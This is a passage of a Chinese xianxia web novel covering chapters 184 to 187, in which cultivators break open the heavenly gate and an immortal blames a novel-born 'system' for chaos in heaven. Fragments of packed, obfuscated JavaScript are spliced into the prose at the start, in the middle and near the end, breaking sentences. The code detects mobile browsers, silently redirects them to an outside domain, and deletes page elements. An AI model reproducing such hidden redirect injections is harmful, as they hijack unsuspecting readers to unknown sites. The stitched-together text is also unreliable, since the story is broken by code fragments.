;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剑修听后,木着脸,却是颈侧微微泛红了。 只因他们说: “那可是江峰主啊,果然风光霁月,不过他身边那位一袭黑衣的是?” 立即有人接话:“那是胜意门主宁时了。” 有人道:“唔……他们站得好近。” 有人补充:“还拉着手。” 还有人补充:“我刚刚路过他们,这两人身上的熏香都是同一个味道,应该是竹香吧。” 众人面面相觑,又有人道:“他们关系真好。” 有人质疑他的话:“你会好到和兄弟用同一种熏香吗?” 众人安静片刻,似乎恍然大悟! 有人道:“是没有想到……但意外地感觉很般配。 有人道:“愿江峰主和宁门主长长久久。” 也有疑似话本子看多了的小修士,兴奋地“嗷”了一嗓子后,又努力压低声音,同身旁的小伙伴们说: “你们不觉得这种产品很好磕吗?” “什么身份殊途,相爱相杀,为爱下神坛……在加上两个人同一时间消失和出现!这简直了——!” 话未说完,这位小修士便被他的同伴齐力拉远了。 但他的话依旧飘荡在风中,飘进了江晏耳朵。 同时江晏也很确定,宁时绝对也听到了。 在加上他们共同经历的第一个世界,理解这些话并不困难……想到这里,江晏就抬眼去瞄宁时。 果然,宁时也在笑眯眯地看着他。 江晏:…… 他脖子上的红蔓延到了脸上,他热气腾腾地转身,强行将自己的注意力转移到啾啾身上。 只见从鸟爪中射出的灵力势头不减,源源不绝汇入到聚灵阵中。 片刻后,那安静了很久的聚灵阵微微一抖! 与此同时,传来了啾啾的声音,略带疑惑: “咦,灵力怎么送不进去了?” 它话音一落,那阵法却是在没有人力干涉的情况下,缓缓转动起来,并迸发出了一阵强光! 见此,众人哪里还有不明白的? 人群欢呼: “阵法!阵法的能量终于满了!” “它要完全启动了!” “你们快看——” 苍天之中,那阵法越转越快,最后就连阵法上繁复的花纹都化为了虚影。 接着,这飞速旋转前进的阵法,重重撞在了天幕上! 只听得一阵刺耳的轰鸣声后,那原本就存在裂缝的天,豁开了一个大口子。 184. 天门后的未知 事情终于有了进展,人群中迸发出一阵欢呼。 而啾啾见阵法已经不需要额外的灵力输入,便放下鸟爪,飞回了江晏身边。 看着啾啾飞得七扭八歪的江晏:…… 很显然,孩子并不适应现在的体型,难以控制平衡。 但好在,啾啾还是有惊无险地落在了他身旁,收起翅膀站着,并没有出现什么“飞着飞着摔了一跤”这种给凤凰神兽丢脸的情况发生。 它这样站着,足足有两人高,在人群中夺目极了。 一时间,修士们的眼睛简直不知道是该看天上还是该看地下了。 江晏瞧见了他们的眼神,意念一动,在内心对啾啾道:“你这样累吗,需要变回来吗?” 凤凰啾啾一动不动,高冷地举目望天。 但江晏心中却多了小鸟叽叽喳喳的声音:“有点不适应,但也还好。” “毕竟,”江晏看到凤凰眼中划过的一丝难以察觉的亮光,“——这个身体,这种力量,实在是太爽了啊!” 江晏:…… 行吧,毕竟谁能拒绝的了突然之间装了把大的呢? 啾啾还在他心中喋喋不休:“这样算来,我也算是拯救修真界的大功臣了!” 这句话说的不错,江晏就顺毛撸鸟,道:“我们啾啾最厉害了。” 他才说完,便看到凤凰实体的尾巴微微翘了起来,随即抖了抖。 啾啾意识体的声音听起来高兴极了,道:“是啊,好多人都在看我呢。” “也在看你和分魂——我们真厉害!” 这番抒发感情过后,啾啾终于暂时安静下来。 江晏也没有意识到自己是在笑着,他只是站着啾啾和宁时中间,和千万修士一样,仰头望天,去看那阵法的功效。 只见在那阵法接连不断的攻击下,天幕中已出现了十余道巨大的裂缝,以及不计其数的小裂缝。 它们像是蛛网一般缠绕在天空中,那天空的碎片便是这些蛛丝的猎物了。 只待时机一成熟,便将网收紧,破开一个新世界来。 而与此同时,空中的阴云更加浓重了,天完全黑了下来,已经到了不辨昼夜的地步。 世间唯一的光源,除了地面上的凤凰,就只有从裂缝中透过来的天光了。 于是在喜悦的同时,另一种隐约的不安也攀升至修士们的心头。 终于,有人按捺不住,轻声议论起来: “这般景象,看起来有些不详啊。” “可以称得上是异象了,如果再加上天雷的话……” 这名修士未尽的话被他的同伴伸手堵在了口中。 同伴面含惊恐,抬眼望着远方,咬牙切齿道:“你个乌鸦嘴!” “让你乱说!你看那边!” 他们的动静自然是被周围的人听到了,于是以二人为中心,旁边十余名修士都望向那人所指的方向。 在昏暗的天光中,他们无需凝神,就已经能看清什么事情发生了: 一道刺目的光穿透云间,在浓云之中流窜。 这仅仅是一个开始,在这道雪亮的闪电过后,是更为密集的电光。 白的,紫的。 闪电如同另一张蛛网,自上而下地,包裹住了整个修真界。 在浓云的另一端,似乎还有滚滚雷声传来。 面对这种场景,已经无需多言了。 众人在刹那之间都意识到了同一件事: 开天门似乎只是他们的一厢情愿。 仙界,好像并不喜欢他们飞升。 有轻微的湿润落在脸上,江晏抬起手摸了摸,是一滴雨。 他微微皱眉,仰头望向天空。 在获雁山上方,有一块比其他地方更加浓重的黑云。 这正是那一滴雨点的来源。 但很快,就不能称之为“雨点”了。 接二连三的雨滴落下来,逐渐连成一片雨柱。 在场的修士们本就已经是灵力耗尽的状态了,此时猝不及防,身上或多或少都被淋湿了些。 雨声哗哗,就在他们以为自己即将成为落汤鸡之前,一道温暖的灵力包裹住了他们,同时,头顶的雨水也消失了。 那是站着江晏身旁的啾啾,晕开了一个淡金色的灵力罩,阻挡住狂流的雨。 虽然天上的异象依旧存在,但多了这层阻隔,修士们多多少少也恢复了些安全感。 于是他们开始有力气思考了。 在阵法撞击天幕的余响中,有人犹犹豫豫开口:“我们真的要继续下去吗?” 没有人回答他。 付出了这么多人力物力,又是即将可得的飞升之路,怎么会愿意轻易放弃呢? 但另一头,却又是疑似更高纬度能量的惩罚。 在一片安静中,终于有人小声开口,说的却是另一个新话题:“仙界……为什么要这样?” “他们是不想让我们飞升吗?” “难道,”他语气变得难以置信起来,“是已经没有多余的位置了吗?” “还是单纯地讨厌我们?” 他话音落下,登仙台上再次安静下来: 这依旧是个无法回答的问题。 雨水冲刷在地面上,又向着山下哗哗流去。 紫电暴起,雷声滚滚。 江晏的手就轻轻被宁时拉住了。 这符修凑到他耳边,很小声说:“你会害怕打雷吗?” 江晏起初快要被他气笑了——哪里有剑修会怕天雷! 可他又对上了分魂低垂的眼睫,突然之间明白了什么: 宁时知道他曾经被渡劫的天雷劈死过,故才有了这么一问。 江晏:…… 这下子,他说“会”也不是,说“不会”也不是了。 他静默在原地。 宁时却似乎误会了他的意思,慢慢地前倾了身体,张开双臂抱住了他。 江晏就任由他抱着,透过对方的肩膀,去看天幕中雷电狂舞。 ……在这末日一般的景象中,似乎有什么东西足以推翻整个逻辑的东西,被他遗忘了。 是什么呢。 耳边,依旧是修士们窸窸窣窣的交谈: “仙界不至于这样吧,我是听着见尘上仙的故事长大的。” “如果他在,怎么会坐视不管呢?” 有人道:“别说那些没用的了。” “先看眼前吧,仙界发怒,我们怕是不能善了了。” 也有人无所谓道:“修士固有一死,或死于无法飞升寿数已尽,或死于修行中的走火入魔或雷劫。” “结果都一样啦。” 这名修士的话又迅速被其他人声盖了过去。 但江晏 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“那为什么,又不顺从我们的意思,把天门打开呢?” “难道是他们那边出了什么状况?” “再结合几千年前毫无征兆消失的飞升之路,我认为,仙界一定是出了什么变故。” “才迫不得已,切断了同修真界之间的联系。” 江晏很少在外人面前说这么长的一段话,他停了停,能看到全场修士的目光已经聚在了自己身上。 剑修长长呼出一口气,又补充道:“以上,只是我从逻辑的角度推断。” “那么从情感的角度,”江晏笑了笑,“所有有记载的飞升的前辈,都是很好很好的人啊。” “除非出了意外,我是不相信他们会阻止自己原世界的后人飞升到仙界的。” 他的话已经说完了,便对众人抱拳示意,同宁时再次席地而坐,等待着这场雨停下。 而他刚刚那番猜测,自然是引起了轩然大波。 就连剑修自己也想不到,赞成他说法的人竟然居多: “江峰主说得有理!” “仙界,那可是仙界啊,比我们厉害不知道多少倍。” “如果看我们不顺眼,估计我们早就被雷劫劈死了。” “怎么还有能坐在这里讨论的机会?” 在经历了筑天梯和聚灵阵消耗后,还能保持清醒正常谈话的修士,都是有些修为傍身的,自然是经历过比较大的雷劫。 他们将自己从前的经历同眼前此情此景一对比,便琢磨出了几分意味。 一时间,刚才还对于仙界隐约的不满便消失了。 而另一种后知后觉的不安却涌上心头: 到底是什么样的大事,才会让仙界也束手无策,不得已切断同下界的联系呢? 如果他们强行打开了天门,所面对的,又会是一副怎样的景象呢? 心情大起大落,众人在惴惴不安间,抬眼去望那不停与天幕相撞的阵法。 阵法气势汹汹,威力不减! 只听得一阵格外响亮的硬物撞击声后,天幕终于缺了一块。 ……天门,被他们强行打开了。 185. 疯症 漫天金色的光芒从裂口中撒下,照在获雁山上,照在修真界上,也照在了一片片浓云上。 这些浓云,却好像清晨留在叶片上的朝露,在金光的照耀下消散得无影无踪了。 于是天朗气清,世间被笼罩在一片辉宏的神光中。 众人不禁屏息远望,试图透过这金光,沿着裂口看到另一端的仙界模样。 但裂口只是一个裂口,除了源源不断散发着金色的光芒之外,并没有出现修士们想象中的“仙界的亭台楼阁”等等景象。 众人面面相觑,在疑惑的同时,也略微松了口气: 这金光中所含的浩然正气是做不了假的,也许仙界确实遭遇了什么情况,但就此看来,情况应该不至于过糟。 而在此时,那暂时安静了片刻的聚灵阵又动了起来! 它似乎在因裂口中金色光芒的阻隔而不满,陡然转动起来,同时向着裂口靠近。 众人来不及阻拦,也无法阻拦,只能眼睁睁地看着阵法结结实实撞上了这层金色的屏障。 不少修士已经预见了即将发生的爆鸣,皱着眉头,将双手捂在了耳朵上。 但想象中的场面却没有发生。 只见阵法撞在金光上,却犹如砍刀切入果膏之中,软软地陷了进去。 随即,裂口中光芒大盛! 众人眼睁睁的见着这阵法,被某种不知名的力量弹了出来! ——那糊在裂口中的一层金色,居然是仙力组成的防护罩,因此才将聚灵阵挡在了外面。 而那聚灵阵受到了防护罩的反弹,在空中抖了一抖,竟是渐渐缩小了。 这缩小的势头极猛,不过几息的功夫,聚灵阵就变成了鸡卵大小,又沉沉向地面坠去。 众人大惊。 一时间,修士们纷纷涌向阵法掉落的方向,试图用自己的力量接住,间或夹杂着“快点!别把阵法搞碎了”之类的言语。 在这阵法降落到距离登仙台地面不过一丈的高度时,刚刚它疾速下降的势头,却瞬间缓了下来。 众人自发地散开,地面上便空出来一个圆,以待阵法降落其中。 …… 在千万双眼睛的注视中,缩小版的聚灵阵,缓缓自空中垂下,降落。 到了和修士们身高差不多的高度。 到了他们的腰间。 到了他们的小腿处。 …… 最后终于稳稳落在了登仙台上的空地。 人群中发出了不约而同的呼气声——幸好没有掉下碎掉。 而他们这一口气还没有松完,便被一道突如其来的陌生声音打断了。 这声音雄浑有力,足以让在场的每位修士都听清;但同时又透着一股飘渺,让人寻不到声音的来处。 只听这道男声道: “莫慌,你们的阵法还完好,只是变小了罢。” “一月过后,自然会恢复正常。” 有修士傻兮兮的,听了这番话后,兴高采烈地放下心来,自言自语:“吓死我了,我还以为阵法被我们弄坏了呢。” 却被身旁的人扯了下袖子,得了一句“你可长点心吧”。 缺心眼的修士莫名其妙,只是不明所以的看着他的同伴。 同伴只得深吸了一口气,耐心解释: “这位前辈说出了我们最关心的阵法情况,想来就是那位让阵法变小的大能了。” “也不能说是大能,其实称为上仙更为合适——毕竟除了仙人,又会有谁有这种力量呢?” 这番话后,缺心眼的修士眼睛瞪圆了。 而在此时,空中那道飘渺的声音再次响起来,这次语气中就带了几分笑意: “嗯,你们应该知道我的。” “毕竟,按照修真界的说法,你们通常称呼我为见尘上仙。” 话音落地,获雁山上便鸦雀无声了。 江晏在震惊中同宁时对视了一眼,果然在分魂眼中也看到了同自己一样诧异的情绪——没想到传说中的人物也现身了。 而见尘上仙语速不急不徐,继续道:“我本不欲下界,但想了想,此时还是当面同你们讲,才能说得明白,便欲分出一缕神魂来此。” 说罢,声音却是暂时消失了,留众人在台上左顾右盼。 宁时则是在这段空隙间勾了勾江晏的小指,附在剑修耳边轻声说: “看样子,你的猜测是正确的。” “见尘上仙要说的,也许正是天门关闭的原因。” 江晏此时灵力耗尽,没什么力气推开他,也并不是很想推开他,便任由分魂贴着自己,在他怀中点了点头。 二人黏黏糊糊之时,人群中的惊叹声犹如浪潮,从登仙台的另一端向他们翻涌而来。 江晏宁时循声望去,只见刚才还是一片金色的空旷天门,此时微微震颤,似有什么活物正从中走出! 金色的轮廓缓慢穿过了裂口。 很快,他们的全貌便呈现在了众人眼前: 那是一道连天接地的虚影,宽高各有百余丈,是一人骑在凤凰背上的模样。 仔细看去,那人影的模样,居然和古籍画卷中见尘上仙的相貌一模一样! ——那道声音没有骗他们,这真的是见尘上仙! 见到了传说中才有的人物,在场的修士俱是激动极了,纷纷弯腰拜下,异口同声道:“恭迎上仙。” 面对这修真界的老祖宗,江晏和宁时自然也是随着人群躬身行礼的。 而还不等他自主抬起身来,便有一道灵力附在了身上,托着腰慢慢起身。 江晏顺着见尘上仙的力量站直之后,就看到眼前众人亦是如此。 他心思不禁动了动——虽然知道人仙有别,但目睹这般浩然的灵力,依旧是让人感到震撼的。 而此时,已经有不少人从惊讶中恢复过来,有胆子比较大的,甚至已经开了口,对见尘上仙道: “上仙,我们聚在此地,是为了重开天门。” 见尘上仙点点头:“我知道。” 他神色如常,似乎开天门一事并非错误。 修士们就渐渐放下心来,那刚刚说了话的胆大修士继续道: “虽说中间是遭遇了电闪雷鸣等等困难,但最终还是把天门打开了。” “修真界在数千年后,终于有了再次飞升的可能。” 说罢,便直直望着见尘上仙,希望他能说点什么,最好是关乎飞升的。 见尘上仙听了,依旧是笑眯眯地再次开口,内容却惊呆了众人。 他说:“嗯,刚才那些电闪雷鸣的异象,是我和另外几位飞升的后辈一起弄出来的。” 众人:? 他们一时间不明所以,只是呆呆地看着见尘上仙。 也有些方才站在江晏身边听到了推测的修士,去拿眼瞄剑修。 见尘上仙对他们的心思浮动并不在意,只是继续说下去: “本来呢,我们是打算制造一些吓人的场面,让你们望之生畏,打消开天门的想法。” “却不料,”说到这里,见尘上仙又笑了,“你们比我想象中要坚定。” “顶着那除了伤害和天劫并无不同的景象,也要开天门。” “还真让你们破开了仙界和修真界之间的屏障,开了天门。” 他抬手按了按额角,望着一群疑惑之情溢于言表的修士,平淡的语气终于产生了波动,带着一丝无奈,道:“安静,不要问我为什么不想开天门——” “我方才说要与你们当面讲的,就是这件事。” 此话一出,修士们都安静了几分,各个睁大了眼,等着见尘上仙说下去。 见尘上仙沉沉吐出一口气,江晏见他的身形动了动,似乎是拍了拍身下凤凰的脑袋。 于是凤凰的虚影自空中缓缓降落,同时还在缩小,待到虚影浮在距众人头顶不过一丈高时,见尘上仙的身形已经变成了寻常人类的大小。 修士们目光发直——真正的仙人就在他们头顶咫尺之遥,怎么不令人惊叹? 而见尘上仙这次没有同他们寒暄什么了,他的目光在修士们身上打了个转,随即收回,盯着虚空中的某处,喃喃开口: “……不开天门,是为了保护你们。” 话毕,满座皆惊,江晏的眼皮跳了跳——他的推测没错。 但是,事情肉眼可见变得棘手起来。 见尘上仙顿了顿,似乎在斟酌着措辞:“仙界,遇到了一些麻烦。” “本来是不欲让你们知道这些的,但从今日之事看来,我们有意隐瞒封锁消息,却凭白同修真界生出许些误会来。” 他说完这句,竟是又叹了一口气,看起来应当遇到了十分头痛的难题: “仙界的内部,出了些古怪。” “我便和你们从头说起吧。” “我们仙界这些人,大多性情平和,司事各在其职,平日里也是其乐融融。” “同伴该去忙的去忙,该去下界历劫的历劫。” “直到有一天,华然上仙下凡历劫归位后……竟好像被夺舍了一般!” 这个词用在神仙身上过于违和了,众人简直连大气都不敢出了。 见尘上仙继续讲着:“他成功历劫之后,已经恢复了所有从前的记忆,但是,”他停了停,似乎是即便隔了这么多年依旧感到难以置信,“他强行把一名凡人女子带上了仙界!” “这根本就不合规矩,从来没有这样的先例——神仙的能力本来就足够强大,若是再随心所欲做事,天下不就乱了吗?” “仙界人并不多,我们互相也称得上熟识,所以一开始,只是我和几个同伴轮番去劝说他,让他把人家送回凡间。” “但与我们设想中不同,华然上仙却说这女子在凡间有恩于他,如今他既然已归位,要带着恩人一起在仙界得以长生。” “我们俱是惊呆了,他这番话说得好没道理——那女子做了好事,自然会有负责积德的同僚给她福气,什么时候轮得到他华然了?” “起初,我们还耐着性子给他解释,只当他是刚刚历劫回来,心思浮动。” “却不知道这家伙简直是铁定了心,甚至说要同花棉成婚!” “哦,忘了说,花棉就是被他带上来的那位凡人女子。” 讲到这里,江晏看到见尘上仙再次抬手按了按额头,想来是气得不轻。 而台中的修士们听了这一番话,也忍不住窃窃私语起来: “我记得神仙是不许思凡的啊。” “是了,如果他们的七情六欲同凡人一般,那就全乱了。” “比如悄悄给自己喜欢的人加三百年寿命那种?” 显然,见尘上仙也听到他们的话了,苦笑一声:“自然,所以仙界并不会有爱侣。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15381362|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我们甚至怀疑过华然上仙被夺舍了——毕竟神仙和人成婚,成何体统!” “而这只是个开头!” ……听起来还有更大的麻烦,江晏想着,但同时也产生了几分好奇。 只听见尘上仙继续道:“后来我们发现,疯的不止华然上仙一个,接下来,揽霞上仙也疯了!” “还是刚才说过的,仙界没有爱侣。” “揽霞平时和华然并没有什么消息,不知从哪里得来了他执意要与凡人成婚的消息,直接冲到了华然的住处去找人对峙了。” “我们起初还不明白她的意思,根本没有往那方面去想——直到揽霞对华然说出那句‘我有哪点比不上她’,我才恍然大悟。” “但是,不应该是这样的——揽霞不应该喜欢华然的!” “他们两人的事情处处透着诡异,仙界众人琢磨一番后,便在他们的住处下了禁制,防止二人私自外出惹出什么事端。” “若事情到此为止,那也算是好的了。” 见尘上仙又叹气了:“既然说到了下禁制,那肯定需要下禁制的人,对吧。” “给揽霞设置禁制的,是隰荷。” “他居然偷偷带着揽霞溜进了华然和花棉的住处——是了,我们没有把他俩成功分开。” “因为一分开他们,华然总是突然昏迷——先不说这个,我们言归正传。” “总之,这下生出了更大的乱子,无非就是你爱我,我爱他,他爱你这种故事冲突,堪比人间话本。” “事情以一群人闻声赶来把他们四个拉开作罢。” “但花棉可能气极,一时间昏迷过去。” “华然上仙自然是气疯了,他强行重开禁制,要找我们算账。” “我当时眼睁睁的看着他冲我飞来,几乎就要落在我面前时,整个人却突然停了一瞬。” “趁这个空档,我立刻将捆仙索扔到了他身上。” “华然就被捆住了,但直到我们走到他身边,他的眼神都是空洞的。” “就连我们呼唤他的名字,也没什么反应。” “我们只当他是一时急火攻心,便抬着他重新回到布下禁制的院落。” “途中,一直安安静静的华然却突然开了口,他问,我们这些人为什么要捆着他,他做错了什么。” “所有人只当他是理直气壮的反问,便带了些怒气,将他的所作所为用三言两语概括了。” “可我们畅快地说完,他本人反而却愣住了,像是对这些一无所知。” “他的表情不似作伪,好像变回了我们所熟识的华然,变回了绝对做不出来这些事情的华然。” “华然呆着,他似乎不敢相信自己做了什么,便又拉着我们问了很多细节。” “可那些事情毕竟是他做出来的,加上我们一直很关注着他,于是一五一十地告诉了这个正常的华然。” “华然听完之后……就晕倒了。” “我们把他送了回去,”见尘上仙停了停,又道,“他再次醒来时,就又不正常了。” “与此同时,那昏迷的花棉也出了情况。” “她也醒来了,醒来之后却告诉我们,她是从前一位神魂俱消上仙的转世。” “那位仙人能力很强,听她这么说,我们只觉得冒犯。” “却不料花棉真的随手召来那位万青上仙遗留下来的法器!” “事情发展到这个地步,我们已经是目瞪口呆。” “接着那可怜的禁制在一天之内又被打破了第二次,这次是花棉,她拿着万青上仙的法器去找揽霞了!” “我们追在她后面,堪堪前后脚到了揽霞住处。” “花棉拿着法器怒气冲冲和揽霞对峙,结果此时的揽霞竟是一脸茫然。” “——她像华然一样,忘记了自己‘发疯’时的所为了。” “花棉就举着法器,对她道‘我本万青上仙转世’,你等小仙休要对我不敬。” 见尘上仙再次扶额:“那个场面……其实我们当时也没有办法。” “毕竟,万青上仙的法器不是谁都能动的。” “但好在,华然和揽霞这种突发性失忆也发生在了花棉身上。” “她毫无征兆地尖叫抱头蹲下,同时还把法器扔了出去。” “我们一群人手忙脚乱,有人去捡法器,有人蹲在她身边,听她说了什么。” “花棉声音是抖的,她看起来有些害怕,还有些愤怒。 “她说,我不要这样活着——这不是我,系统你这是在拐卖。” “她提到了一个我们没有听过的词——系统。” “我们正欲拉着她问清楚,她却向一旁的诛仙台跑去了——是了,她要像话本子中一样,去跳诛仙台了。” “但此时的花棉,没有像话本中一样流泪,她只是恶狠狠道‘系统你等着我带你去死’。” “我们看着她的神情,突然意识到,这可能才是正常的花棉。” “在混乱的开端,被不正常的华然带上仙界的花棉,也是不正常的。” “那么,仙界一切不正常的源头,也许都可以追溯到这个未知的东西——系统身上。” 说到此处,见尘上仙眼中明明暗暗,道:“所以,我们针对这所谓的系统,开展了一场声势浩大的追捕。” “但结果……却似乎更糟了。” 186. 隔绝混乱 即便是已经经历过种种奇异的世界,在这一刻,江晏却依旧设想不出来见尘上仙所说的“更糟的情况”。 他和宁时像在场的其他修士一样,去听见尘上仙讲那“系统”之后的故事。 “我们在这场行动的一开始,梳理了仙界所有关于‘系统’的文书,却一无所获。” 见尘上仙皱着眉,道:“最终,我们决定去找花棉,毕竟从她之前的只言片语,能依稀摸到真相的尾巴。” “但她却什么也说不出来。” “我们看这她艰难的神色,突然意识到,是那所谓的系统,限制她讲述有关内容。” “事情可以说走进了死胡同,与此同时,系统似乎感应到了我们的所作所为,它发出了反击。” “——这也就是我刚才说的,更糟的情况。” 话说到这里,登仙台上众人都竖起了耳朵。 只听见尘上仙道:“系统的影响,不仅仅是对华然等人。” “它的范围扩大了,甚至开始影我们。” “我们这些人,也出现了不受自己控制的动作。” “比如有一次,我突然之间就失去了对身体的控制,再次恢复意识时,我发现,”见尘上仙干咳一声,“我正对着一名点头之交的前辈诉衷肠。” “我当时吓了一跳,匆忙解释后落荒而逃。” “但后来,我也遇到过不少同僚对我说一些莫名其妙的话。” “总之……那个名为系统的东西,能在一定程度上操控了我们的身体,让我们做出一些奇怪的行为。” “若只是如此,整件事情倒是像恶劣的玩笑。” “但是,它甚至想插手飞升之事了。” 闻言,众人神色一凛。 “众所周知,生活在仙界的神仙,分为两种。” 见尘上仙指了指自己:“一种,就是我这种从下界飞升上来的。” 又道:“另一种则是自出生之时便身怀仙力,一直生活在仙界的。” “我们两类神仙,起初甚至没有意识到有这个分类的。” “但是那个系统,后面居然开始指使我们说一些过分的话,主要是针对那些飞升上来的同僚。” “揽霞就是从凡间飞升的,有次她在和花棉的争吵中,花棉突然冒出来一句:你不比我仙界纯血高贵。” “我们当时甚至没有往那方面想,后来反应过来,震惊极了。” “另一边,花棉清醒了,被众人复述了一遍她做了什么,又气极要去跳诛仙台。” “当然,她带着系统同归于尽的计划没有成功。” “我们想把系统消灭掉,但不代表想让花棉消失。” “不过经历了这些鸡飞狗跳的事情后,她总算对我们产生了些许信任。” “她开始学习仙术,并终于学会了分神入梦。” “这样,我们终于有机会从她口中,了解到那所谓的系统。” “这个东西……也算是一种模糊的意志了。” “它来源于一类话本,大多是那种神仙如三岁小儿谈恋爱的故事。” “花棉给我们复述了几个片段,我们只觉得荒谬,甚至到了好笑的地步。” “但就是这种东西,产生了所谓的系统。” “它从在这个世界的那一刻,就要完成它的目标——构建一个和那些话本故事相似的世界。” 说到这里,见尘上仙就苦笑了:“非常不幸,我们被选中了。” “哦,花棉也很倒霉。” “她从前大约在另一个世界,听说是刚刚从……博士?嗯,好像是这个词,博士毕业。” “还有一个每个月给她很多钱的雇主,唔,还有道侣,还有一套新购的房产。” “然后就被系统突然带到了我们这里……她说系统这种行为,在她原来的世界里叫做拐卖或绑架。” “我想这不是什么好词,确实,系统给我们带来的没一件好事。” “仙界后面发生的,正如花棉所说的一样,人人都在乱七八糟地爱来爱去。” “并且还对从下界飞升的修士有诸多嘲笑。” “我们最后简直没有办法了,本来想聚在一起讨论怎么办,但每次都有不少同僚在系统控制下疯疯癫癫的。” “我们例会只好留几个清醒的人凑在一起,如此商量几个月后,大家才算是达成共识。” 见尘上仙微微转头,目光在获雁山上扫了一圈,才道:“那就是——暂时关闭下界通往仙界的天门。” “毕竟,我们自己都乱成一团,若是任由系统沿着天门扩散到下界,那可真称得上三界不宁了。” “事情如果真到了那种程度,就是我们的失职。” “我们既然受着人间供奉,自然是要尽责的。” 见尘上仙似乎终于讲完了这一段隐秘又漫长的故事,他的虚影长吐出一口气,坐在凤凰背上,沉默着。 那凤凰也是安静地振翅,一下又一下,在羽翼旁撩起点点火星。 而众修士听到这里,心中的疑问自然有了解答。 ——原来,仙界并没有抛弃他们。 如此一来,修真界几千年没有人飞升,就得到了解释。 一时间,众人心中百感交集。 自然也有一些修士想到了什么,内心惴惴不安,便向见尘上仙问道: “这么说来,我们强行打开天门,非但没能解决飞升的问题,反而有可能把那系统引入下界?” 这个问题,可以算是眼下场中众人最为关心的问题了。 听他这么问,所有的目光都聚集在了见尘上仙身上,等他做出解释。 只见见尘上仙徐徐开口:“并非如此。” “你们确实已经解决了飞升一事,”他指了指身后向空中延伸的天梯,“你们搭了天梯,开了天门,从此修真界和仙界再无阻隔,自然是可以飞升到上界的。” 他停了停,又道:“至于系统……并说不好,它也许只会在仙界兴风作浪,也许仙界并不能满足它的胃口。” 听到这里,许久未说话的江晏抬头,同身旁的宁时对视了一眼。 仅凭借目光交流,二人俱是看出来,对方和自己所想的一样——都是想到了第二个和最后一个小世界中,那操控着一切走向的“系统”。 系统是会从已经发生的事情中吸取能量的,此时此刻,想来仙界的系统已经从那些混乱的故事中得到了不少好处。 如此一来,它的能力就更加强大了。 系统乘载着人的欲望,人的欲望向来是得陇望蜀,投射在系统身上,那它未必会满足于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422072|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅仅控制一个仙界。 必然会向他处扩张。 想到此处,江晏忍不住,轻声对宁时道:“事情或许有些麻烦……我感觉上仙后半句话还是有些道理的。” 宁时便拉过他的手,轻轻拍了拍,回道:“不知道加上我们的力量,能不能解决掉这隐患。” 他似乎想到了什么,喉头滚动了几下,终于还是说:“我还记得那个全都是剧本和系统的世界。” 江晏本以为他想说不喜欢这种被控制的感觉,却只听宁时声音似乎在一瞬间哑了,缓缓道: “那种不按照系统剧情,最终就会走向毁灭的结局,我不想再经历第二次了。” “或者说,是第十一次。” 刹那,江晏明白了什么。 一种奇异的情绪在他心口炸开,迅速填满了整个胸膛,饱涨到了甚至有些酸涩的地步: 宁时什么都知道。 他们本来就是一个人。 他们在那个世界里,一共经历了十次死亡。 江晏用力回握着他,才轻声道:“你怎么会知道。” “你在那个世界里,走得……”他想了想,选择了一个比较含蓄的词,“痛快,本应当是不知道后面的事的。” 他面前的宁时似乎是磨了磨牙,露出了个略带森寒的表情:“我自己又死了九次,怎么会不知道?” 他愈发激动起来:“所以,那条世界线是有病吧,专门把你塞进九尾狐的身体里折腾!” 江晏干咳一声:“……也不能这么说,本来只是普通小狐狸的,可惜发生了点意外——寻常的狐狸肉身被神魂拔高上限了。” 这番提醒后,宁时才终于想起了此前种种细节,于是脸色更不好了——他失去了一个怪罪于世界线的理由。 但江晏在说完这句话后,看着身旁啾啾火红的鸟羽,却琢磨出了另一丝意味。 在身旁修士们关于系统的讨论声中,在见尘上仙的沉默中,江晏拉着宁时,走到了啾啾面前,和它脸对着脸站着。 啾啾歪了歪脑袋,发出疑惑的声音“啾”? 江晏:…… 从前,啾啾还是一只小鸟的时候,做这个动作是有几分可爱;但是现在,它顶着一具火凤凰的壳子,再如此动作…… 白白浪费了这好样貌,甚至就连凤凰也显得呆了。 江晏吐出一口气,想到自己猜测,便说:“啾啾,我们有个想法。” “在从前九尾狐的世界中,你我都知道,神魂会拔高身体的上限。” “但你的神魂本来就源自上古神器断水剑的碎片,这些年来,并没有在你从前的样貌上发挥什么作用。” “那你变成现在这凤凰模样,排除了神魂的作用后,就只剩下肉身了。” 宁时也接过话,道:“再加上刚才开天门时,你说感应到了一种熟悉的气息……” “所以,你的肉身,会是来源于更比修真界高层的仙界吗?” 话已至此,啾啾已然完全明白过来,眼神亮了亮。 于是在登仙台上,突然间爆发出一声清越的凤鸣! 江晏和宁时:? 二人在啾啾的迷惑动作中抬头,却只见那见尘上仙身下的凤凰虚影缓缓转头,举目四顾。 并最终,将目光定在了啾啾身上。 187. 啾啾身世 从生命的开始 经啾啾闹出这么一番动静后,不仅仅是凤凰和在场修士,就连乘在凤凰身上的见尘上仙,也缓缓将目光移了过来。 